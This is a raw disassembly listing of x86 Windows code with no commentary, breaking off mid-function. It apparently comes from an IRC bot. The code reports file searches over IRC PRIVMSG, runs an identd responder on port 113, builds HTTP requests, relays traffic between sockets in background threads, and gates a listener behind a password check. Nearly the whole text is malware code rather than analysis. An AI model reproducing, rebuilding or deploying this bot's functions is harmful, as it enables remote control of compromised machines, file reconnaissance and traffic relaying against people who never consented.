loc_40FA21: ; CODE XREF: sub_40F483+31Dj
; sub_40F483+449j ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
cmp [ebp+arg_8], ebx
jz short loc_40FA50
push 7D0h
call dword_4F1334 ; Sleep
loc_40FA50: ; CODE XREF: sub_40F483+226j
; sub_40F483+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_4F13D4 ; FindNextFileA
test eax, eax
jnz loc_40F6A3
loc_40FA68: ; CODE XREF: sub_40F483+215j
push [ebp+arg_0]
call dword_4F13C8 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_40FAAB
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_414F46
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_414F46
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41B740
add esp, 14h
jmp short loc_40FADF
; ---------------------------------------------------------------------------
loc_40FAAB: ; CODE XREF: sub_40F483+5F1j
cmp [ebp+arg_C], ebx
jz short loc_40FAC5
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41B740
pop ecx
pop ecx
jmp short loc_40FADF
; ---------------------------------------------------------------------------
loc_40FAC5: ; CODE XREF: sub_40F483+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41B740
add esp, 10h
loc_40FADF: ; CODE XREF: sub_40F483+626j
; sub_40F483+640j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F483 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FB05 proc near ; CODE XREF: sub_40F051+13Bp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_4F13A8 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40FBBD
push esi
push ebx
call dword_4F13C4 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_40FBB6
loc_40FB4A: ; CODE XREF: sub_40FB05+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41B190
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_40FB67
mov edi, [ebp+arg_4]
loc_40FB67: ; CODE XREF: sub_40FB05+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_4F13DC ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_4F13A4 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4E08EC
cmp eax, 0FFFFFFFFh
jnz short loc_40FBB1
call dword_4E083C
cmp eax, 2733h
jnz short loc_40FBB6
xor eax, eax
loc_40FBB1: ; CODE XREF: sub_40FB05+9Bj
sub [ebp+arg_4], eax
jnz short loc_40FB4A
loc_40FBB6: ; CODE XREF: sub_40FB05+43j
; sub_40FB05+A8j
push ebx
call dword_4F1324 ; CloseHandle
loc_40FBBD: ; CODE XREF: sub_40FB05+30j
pop edi
pop esi
pop ebx
leave
retn
sub_40FB05 endp
; =============== S U B R O U T I N E =======================================
sub_40FBC2 proc near ; CODE XREF: sub_40F1D3+17Cp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_418D00
test eax, eax
pop ecx
jbe short loc_40FBEB
loc_40FBD5: ; CODE XREF: sub_40FBC2+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_40FBDF
mov byte ptr [esi+edi], 2Fh
loc_40FBDF: ; CODE XREF: sub_40FBC2+17j
push edi
inc esi
call sub_418D00
cmp esi, eax
pop ecx
jb short loc_40FBD5
loc_40FBEB: ; CODE XREF: sub_40FBC2+11j
mov eax, edi
pop edi
pop esi
retn
sub_40FBC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FBF0 proc near ; CODE XREF: sub_401CC1+4A58p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4E081C
push 6
push 1
push 2
call dword_4E091C
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4E08A0
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_409EFD
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4E084C
cmp eax, 0FFFFFFFFh
jz short loc_40FCCD
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_40FC69
mov eax, offset dword_4E3630
loc_40FC69: ; CODE XREF: sub_40FBF0+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41B910
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4E08EC
push esi
lea eax, [ebp+var_110]
push edi
push eax
call near ptr sub_41C8D0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4E08B8
pop esi
loc_40FCCD: ; CODE XREF: sub_40FBF0+6Bj
push ebx
call dword_4E0934
call dword_4E0804
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41B740
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_40FD0D
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_40FD0D: ; CODE XREF: sub_40FBF0+102j
pop edi
pop ebx
leave
retn
sub_40FBF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FD11 proc near ; DATA XREF: sub_40141B+43Fo
; sub_401CC1+3C61o
var_238 = byte ptr -238h
var_38 = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_1C]
push esi
push eax
mov [ebp+var_8], esi
call sub_41B190
add esp, 0Ch
mov [ebp+var_1C], 2
push 71h
call dword_4E08A0
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_4E091C
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40FE72
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov dword_4537D4[eax], ebx
lea eax, [ebp+var_1C]
push eax
push ebx
call dword_4E08CC
cmp eax, 0FFFFFFFFh
jz loc_40FE72
push 5
push ebx
call dword_4E08C8
cmp eax, 0FFFFFFFFh
jz loc_40FE72
mov [ebp+var_C], edi
mov edi, 200h
loc_40FD9C: ; CODE XREF: sub_40FD11+EAj
; sub_40FD11+14Aj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_4E0930
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_40FE6D
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_4E0928
push eax
lea eax, [ebp+var_238]
push offset dword_44BFCC
push eax
call sub_41B740
lea eax, [ebp+var_238]
push eax
call sub_41458A
add esp, 14h
lea eax, [ebp+var_238]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4E08B8
cmp eax, 0FFFFFFFFh
jz short loc_40FD9C
lea eax, [ebp+var_238]
push esi
push eax
call sub_415CFF
push 0Ch
lea eax, [ebp+var_38]
push esi
push eax
call sub_41B190
push esi
push esi
lea eax, [ebp+var_38]
push 2
push eax
call sub_40A4F6
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+var_238]
push edi
push eax
call sub_41B910
add esp, 34h
lea eax, [ebp+var_238]
push esi
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_4]
call dword_4E08EC
cmp eax, 0FFFFFFFFh
jz loc_40FD9C
mov [ebp+var_8], 1
jmp loc_40FD9C
; ---------------------------------------------------------------------------
loc_40FE6D: ; CODE XREF: sub_40FD11+A0j
cmp [ebp+var_8], esi
jnz short loc_40FE99
loc_40FE72: ; CODE XREF: sub_40FD11+47j
; sub_40FD11+6Bj ...
call dword_4E083C
push eax
lea eax, [ebp+var_238]
push offset dword_44C010
push eax
call sub_41B740
lea eax, [ebp+var_238]
push eax
call sub_41458A
add esp, 10h
loc_40FE99: ; CODE XREF: sub_40FD11+15Fj
push ebx
call dword_4E0934
push [ebp+var_4]
call dword_4E0934
push [ebp+arg_0]
call sub_40AB19
pop ecx
push esi
call dword_4F1388 ; ExitThread
pop edi
pop esi
pop ebx
sub_40FD11 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FEBC proc near ; DATA XREF: sub_401CC1+58F5o
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call dword_4E08A0
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_4E091C
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_410028
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_4537D4[ecx], eax
call dword_4E07C0
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call dword_4E08CC
test eax, eax
jnz loc_410028
push 0Ah
push [ebp+arg_0]
call dword_4E08C8
test eax, eax
jnz loc_410028
loc_40FF6C: ; CODE XREF: sub_40FEBC+C6j
; sub_40FEBC+147j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_4E0930
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40FF6C
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_4E0928
push eax
lea eax, [ebp+var_350]
push offset unk_44C03C
push eax
call sub_41B740
push edi
lea eax, [ebp+var_350]
push 18h
push eax
call sub_40A7FD
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_4537CC[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_41004D
push esi
push esi
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_4537DC[ecx], eax
jz short loc_410013
loc_410000: ; CODE XREF: sub_40FEBC+155j
cmp [ebp+var_30], esi
jnz loc_40FF6C
push 32h
call dword_4F1334 ; Sleep
jmp short loc_410000
; ---------------------------------------------------------------------------
loc_410013: ; CODE XREF: sub_40FEBC+142j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44C084
call sub_4145FE
pop ecx
pop ecx
jmp short loc_41002B
; ---------------------------------------------------------------------------
loc_410028: ; CODE XREF: sub_40FEBC+63j
; sub_40FEBC+97j ...
mov edi, [ebp+arg_0]
loc_41002B: ; CODE XREF: sub_40FEBC+16Aj
push edi
call dword_4E0934
push [ebp+arg_0]
call dword_4E0934
push [ebp+var_40]
call sub_40AB19
pop ecx
push esi
call dword_4F1388 ; ExitThread
pop edi
pop esi
sub_40FEBC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41004D proc near ; DATA XREF: sub_40FEBC+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41BC60
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4E091C
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_410203
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_4E08A0
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_4E08DC
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_4100DD
lea eax, [ebp+var_13C]
push eax
call dword_4E0920
jmp short loc_4100EB
; ---------------------------------------------------------------------------
loc_4100DD: ; CODE XREF: sub_41004D+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4E085C
loc_4100EB: ; CODE XREF: sub_41004D+8Ej
cmp eax, edi
jz loc_410203
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_4E084C
cmp eax, 0FFFFFFFFh
jz loc_410203
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_4E0928
push eax
lea eax, [ebp+var_344]
push offset unk_44C0C0
push eax
call sub_41B740
push esi
lea eax, [ebp+var_344]
push 18h
push eax
call sub_40A7FD
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_4537D4[ebx]
mov dword_4537CC[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_4537D8[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_410234
push edi
push edi
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_4537DC[ecx], eax
jz short loc_4101F0
loc_41019D: ; CODE XREF: sub_41004D+15Dj
cmp [ebp+var_20], edi
jnz short loc_4101AC
push 32h
call dword_4F1334 ; Sleep
jmp short loc_41019D
; ---------------------------------------------------------------------------
loc_4101AC: ; CODE XREF: sub_41004D+153j
mov ebx, 1000h
loc_4101B1: ; CODE XREF: sub_41004D+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4E08B8
cmp eax, edi
jle short loc_410203
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_4E08EC
cmp eax, 0FFFFFFFFh
jnz short loc_4101B1
jmp short loc_410203
; ---------------------------------------------------------------------------
loc_4101F0: ; CODE XREF: sub_41004D+14Ej
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44C104
call sub_4145FE
pop ecx
pop ecx
loc_410203: ; CODE XREF: sub_41004D+44j
; sub_41004D+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_4537D4[eax]
call dword_4E0934
push [ebp+arg_0]
call dword_4E0934
push [ebp+var_4]
call sub_40AB19
pop ecx
push edi
call dword_4F1388 ; ExitThread
pop edi
pop esi
pop ebx
sub_41004D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410234 proc near ; DATA XREF: sub_41004D+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41BC60
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41026B: ; CODE XREF: sub_410234+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_4537D8[esi]
call dword_4E08B8
test eax, eax
jle short loc_4102B2
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_4537D4[esi]
call dword_4E08EC
cmp eax, 0FFFFFFFFh
jnz short loc_41026B
loc_4102B2: ; CODE XREF: sub_410234+61j
push dword_4537D8[esi]
call dword_4E0934
push [ebp+var_14]
call sub_40AB19
pop ecx
push 0
call dword_4F1388 ; ExitThread
pop edi
pop esi
sub_410234 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4102D1 proc near ; DATA XREF: sub_41055F+1BEo
var_3D4 = byte ptr -3D4h
var_350 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp+var_3D4]
push 1
mov [ebp+var_C], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_4537D4[eax]
xor edi, edi
mov [ebp+var_8], edi
mov [ebp+var_1F4], ebx
mov eax, [esi]
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_4E0888
test eax, eax
jnz short loc_410355
push dword ptr [esi]
call dword_4E0934
push [ebp+arg_0]
call sub_40AB19
pop ecx
push edi
call dword_4F1388 ; ExitThread
loc_410355: ; CODE XREF: sub_4102D1+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_4E08B8
lea eax, [ebp+var_2C]
push 10h
push eax
push dword ptr [esi]
call sub_4104D6
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_4104D6
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_4104D6
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_4E0800
test eax, eax
jz short loc_4103CE
call dword_4E083C
push eax
push offset unk_44C144
call sub_4145FE
push [ebp+arg_0]
call sub_40AB19
add esp, 0Ch
push edi
call dword_4F1388 ; ExitThread
loc_4103CE: ; CODE XREF: sub_4102D1+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_4E085C
cmp eax, edi
jnz short loc_4103F8
push [ebp+var_18]
call dword_4E0928
push eax
lea eax, [ebp+var_B0]
push eax
call sub_41B740
jmp short loc_410406
; ---------------------------------------------------------------------------
loc_4103F8: ; CODE XREF: sub_4102D1+10Dj
push dword ptr [eax]
lea eax, [ebp+var_B0]
push eax
call sub_41C300
loc_410406: ; CODE XREF: sub_4102D1+125j
pop ecx
pop ecx
push edi
push ebx
push offset dword_4E3644
push dword ptr [esi]
call dword_4E08EC
cmp dword_4E363C, edi
jnz short loc_410468
push [ebp+var_18]
lea eax, [ebp+var_350]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_410530
add esp, 10h
test eax, eax
jnz short loc_410468
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4E08EC
push dword ptr [esi]
call dword_4E0934
push [ebp+arg_0]
call sub_40AB19
pop ecx
push edi
call dword_4F1388 ; ExitThread
loc_410468: ; CODE XREF: sub_4102D1+14Cj
; sub_4102D1+16Dj
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_44C184
call sub_4145FE
push [ebp+arg_0]
call sub_4107E7
add esp, 10h
test eax, eax
jnz short loc_4104AF
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44C1AC
call sub_4145FE
push [ebp+arg_0]
call sub_40AB19
add esp, 0Ch
push ebx
call dword_4F1388 ; ExitThread
loc_4104AF: ; CODE XREF: sub_4102D1+1B9j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_44C1D8
call sub_4145FE
push [ebp+arg_0]
call sub_40AB19
add esp, 10h
push edi
call dword_4F1388 ; ExitThread
sub_4102D1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4104D6 proc near ; CODE XREF: sub_4102D1+9Ap
; sub_4102D1+A7p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4E08B8
cmp eax, 1
jnz short loc_410526
mov esi, [ebp+arg_4]
loc_4104F4: ; CODE XREF: sub_4104D6+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_41051B
test al, al
jz short loc_41052A
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4E08B8
cmp eax, 1
jz short loc_4104F4
jmp short loc_410526
; ---------------------------------------------------------------------------
loc_41051B: ; CODE XREF: sub_4104D6+27j
push offset unk_44C204
call sub_4145FE
pop ecx
loc_410526: ; CODE XREF: sub_4104D6+19j
; sub_4104D6+43j
xor eax, eax
jmp short loc_41052D
; ---------------------------------------------------------------------------
loc_41052A: ; CODE XREF: sub_4104D6+2Bj
push 1
pop eax
loc_41052D: ; CODE XREF: sub_4104D6+52j
pop esi
leave
retn
sub_4104D6 endp
; =============== S U B R O U T I N E =======================================
sub_410530 proc near ; CODE XREF: sub_4102D1+163p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_41055B
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_44C230
call sub_4145FE
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41055B: ; CODE XREF: sub_410530+11j
push 1
pop eax
retn
sub_410530 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41055F proc near ; DATA XREF: sub_401CC1+1F09o
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
push 1
rep movsd
pop edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_4E081C
xor esi, esi
cmp eax, esi
jz short loc_4105B8
push eax
push offset unk_44C2A0
call sub_4145FE
push [ebp+var_4C]
call sub_40AB19
add esp, 0Ch
push edi
call dword_4F1388 ; ExitThread
loc_4105B8: ; CODE XREF: sub_41055F+3Aj
push edi
push offset loc_4107DD
call dword_4F13E0 ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_4105F1
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44C2CC
call sub_4145FE
pop ecx
pop ecx
call dword_4E0804
push [ebp+var_4C]
call sub_40AB19
pop ecx
push edi
call dword_4F1388 ; ExitThread
loc_4105F1: ; CODE XREF: sub_41055F+67j
push ebx
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_20], 2
push [ebp+var_50]
call dword_4E08A0
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_4E091C
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410768
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_4537D4[eax], ebx
lea eax, [ebp+var_20]
push eax
push ebx
call dword_4E08CC
test eax, eax
jnz loc_410768
push 7FFFFFFFh
push ebx
call dword_4E08C8
test eax, eax
jnz loc_410768
push offset unk_44C310
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_41458A
pop ecx
mov [ebp+arg_0], edi
loc_410680: ; CODE XREF: sub_41055F+15Aj
; sub_41055F+1E4j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_4E0930
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_41076B
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_4E0880
cmp eax, 0FFFFFFFFh
jz short loc_410680
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_4E0928
push eax
lea eax, [ebp+var_414]
push offset unk_44C34C
push eax
call sub_41B740
lea eax, [ebp+var_414]
push eax
call sub_41458A
push edi
lea eax, [ebp+var_414]
push 9
push eax
call sub_40A7FD
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_4537CC[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_4102D1
lea eax, [ebp+var_10]
push esi
push eax
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_4537DC[ecx], eax
jz short loc_410753
loc_410740: ; CODE XREF: sub_41055F+1F2j
cmp [ebp+var_38], esi
jnz loc_410680
push 32h
call dword_4F1334 ; Sleep
jmp short loc_410740
; ---------------------------------------------------------------------------
loc_410753: ; CODE XREF: sub_41055F+1DFj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44C390
call sub_4145FE
pop ecx
pop ecx
jmp short loc_41076B
; ---------------------------------------------------------------------------
loc_410768: ; CODE XREF: sub_41055F+C8j
; sub_41055F+ECj ...
mov edi, [ebp+arg_0]
loc_41076B: ; CODE XREF: sub_41055F+13Cj
; sub_41055F+207j
call dword_4E083C
push eax
lea eax, [ebp+var_414]
push offset unk_44C3CC
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_4107AB
push esi
lea eax, [ebp+var_414]
push [ebp+var_40]
push eax
